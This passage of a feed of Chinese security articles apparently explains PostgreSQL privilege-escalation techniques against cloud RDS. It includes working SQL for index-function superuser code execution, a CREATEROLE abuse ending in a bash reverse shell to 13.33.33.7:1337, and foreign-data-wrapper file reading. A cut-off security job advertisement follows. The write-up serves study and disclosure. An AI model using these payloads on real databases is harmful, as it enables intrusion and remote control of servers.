leaf="">    r.rolname;</span></code><br/></pre></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">ALTER owner 实现命令执行</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">如果能将表的owner修改为超管用户rdsAdmin，可以配合ALTER加索引函数实现命令执行</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">TABLE</span> test_table(data text);</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">ALTER</span> <span class="code-snippet__keyword">TABLE</span> test_table owner <span class="code-snippet__keyword">to</span> &#34;rdsAdmin&#34;;</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">INSERT</span> <span class="code-snippet__keyword">INTO</span> test_table <span class="code-snippet__keyword">VALUES</span> (<span class="code-snippet__string">&#39;dummy content&#39;</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">OR</span> REPLACE <span class="code-snippet__keyword">FUNCTION</span> public.suid_function(text) <span class="code-snippet__keyword">RETURNS</span> text <span class="code-snippet__keyword">LANGUAGE</span> <span class="code-snippet__keyword">sql</span> IMMUTABLE <span class="code-snippet__keyword">AS</span> <span class="code-snippet__string">&#39;select &#39;&#39;nothing&#39;&#39;;&#39;</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">CREATE</span> INDEX index_malicious <span class="code-snippet__keyword">ON</span> public.test_table (suid_function(data));</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">ALTER</span> <span class="code-snippet__keyword">TABLE</span> test_table OWNER <span class="code-snippet__keyword">TO</span> cloudsqladmin;</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">OR</span> REPLACE <span class="code-snippet__keyword">FUNCTION</span> public.suid_function(text) <span class="code-snippet__keyword">RETURNS</span> text <span class="code-snippet__keyword">LANGUAGE</span> <span class="code-snippet__keyword">sql</span> VOLATILE <span class="code-snippet__keyword">AS</span> <span class="code-snippet__string">&#39;COPY public.shell_commands_results (data) FROM PROGRAM &#39;&#39;/usr/bin/id&#39;&#39;; select &#39;&#39;test&#39;&#39;;&#39;</span>;</span></code><br/><code><span leaf=""><br/></span></code><br/></pre></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">CREATEROLE 实现命令执行</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">如果用户有用CREATEROLE权限，可直接实现命令执行</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">USER</span> james CREATEDB <span class="code-snippet__keyword">IN</span> <span class="code-snippet__keyword">GROUP</span></span></code><br/><code><span leaf="">  pg_read_server_files,</span></code><br/><code><span leaf="">  pg_write_server_files,</span></code><br/><code><span leaf="">  pg_execute_server_program ROLE postgres;</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""> <span class="code-snippet__keyword">SET</span> ROLE &#34;james&#34;;</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">COPY</span> shell_results <span class="code-snippet__keyword">FROM</span> program <span class="code-snippet__string">&#39;/bin/bash -c &#34;bash -i &gt;&amp; /dev/tcp/13.33.33.7/1337 0&gt;&amp;1&#34;&#39;</span>;</span></code><br/></pre></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">连接Mysql读取文件</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">如果pg安装了mysql扩展，可能存在文件读取漏洞</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">CREATE</span> SERVER mysql_server <span class="code-snippet__keyword">FOREIGN</span> DATA WRAPPER mysql_fdw OPTIONS(host<span class="code-snippet__string">&#39;172.31.13.58&#39;</span>,port<span class="code-snippet__string">&#39;3306&#39;</span>);</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">USER</span> MAPPING <span class="code-snippet__keyword">FOR</span> <span class="code-snippet__built_in">CURRENT_USER</span> SERVER mysql_server OPTIONS (username <span class="code-snippet__string">&#39;linux_hosts&#39;</span>, password <span class="code-snippet__string">&#39;root&#39;</span>);</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">FOREIGN</span> <span class="code-snippet__keyword">TABLE</span> test(id <span class="code-snippet__type">int</span>) SERVER mysql_server OPTIONS (dbname <span class="code-snippet__string">&#39;a&#39;</span>, table_name <span class="code-snippet__string">&#39;test&#39;</span>);</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">select</span> <span class="code-snippet__operator">*</span> <span class="code-snippet__keyword">from</span> test;</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">DROP</span> <span class="code-snippet__keyword">USER</span> MAPPING <span class="code-snippet__keyword">FOR</span> root SERVER mysql_server;</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">DROP</span> SERVER mysql_server CASCADE;</span></code><br/></pre></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">参考链接</span></h2><blockquote style="box-sizing: border-box;margin: 20px 10px;padding: 1px 0px 1px 10px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;background: rgba(158, 158, 158, 0.1);border-left: 3px solid rgb(158, 158, 158);"><p style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">云存在隔离问题：PostgreSQL 漏洞影响多个云供应商</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf=""><a href="https://wiki.teamssix.com/cloudservice/rds/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities.html" target="_blank">https://wiki.teamssix.com/cloudservice/rds/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities.html</a></span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485722">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6ab29f4d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485722%26idx%3D1%26sn%3D987afcdabc2fcc0709a428b95cc8beaa">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 26 Jul 2025 09:09:00 +0800</pubDate>
    </item>
    <item>
      <title>招聘-安全服务工程师（郑州）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485722&amp;idx=2&amp;sn=0172efd16cda28f974bb7a289b284358</link>
      <description>招聘-安全服务工程师（郑州）</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-07-26 09:09</span> <span style="display: inline-block;">北京</span>
</p>

<p>招聘-安全服务工程师（郑州）</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=eedc6de5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1cp8ugwvkwffzwcSmRcVkk3ysylr05qF3mj293PcUD0Vcia5F87q1lVDtzTfMianGU0FDrgibDoflniaw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;" data-pm-slice="0 0 []"><span leaf="">安全服务工程师（郑州）</span></h2><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">薪资待遇</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">10-15k</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">职位详情</span></h2><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">工作职责</span></h3><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">1.</span></span><span leaf="">负责各类</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">渗透测试</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">代码漏洞挖掘和分析</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">红蓝对抗</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">安全培训</span></strong><span leaf="">等工作。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">2.</span></span><span leaf="">在发生网络攻击或安全事件时，提供</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">紧急响应服务</span></strong><span leaf="">，协助客户恢复系统并进行调查取证。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">3.</span></span><span leaf="">能够独立完成</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Web</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">App渗透测试</span></strong><span leaf="">和</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Web代码漏洞挖掘</span></strong><span leaf="">与分析。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">4.</span></span><span leaf="">熟悉常见的攻击与防御方法，精通Web安全和渗透技术。</span></span></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">任职资格</span></h3><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">1.</span></span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">学历要求</span></strong><span leaf="">：本科及以上学历，计算机或相关专业优先。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">2.</span></span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">专业知识</span></strong><span leaf="">：</span></span></p><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">熟悉网络与信息安全基础知识。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">熟悉主流操作系统、中间件、数据库等。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">了解行业最新动向、等级保护等相关标准与规范。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">熟悉 </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">OWASP TOP 10</span></strong><span leaf=""> 安全风险以及 </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Web</span></strong><span leaf=""> 领域的常用标准、协议和漏洞原理。</span></span></p><p><span style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">3.</span></span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">技术能力</span></strong><span leaf="">：</span><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">熟练掌握常见的 </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Web</span></strong><span leaf=""> 漏洞入侵与防范方法。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, 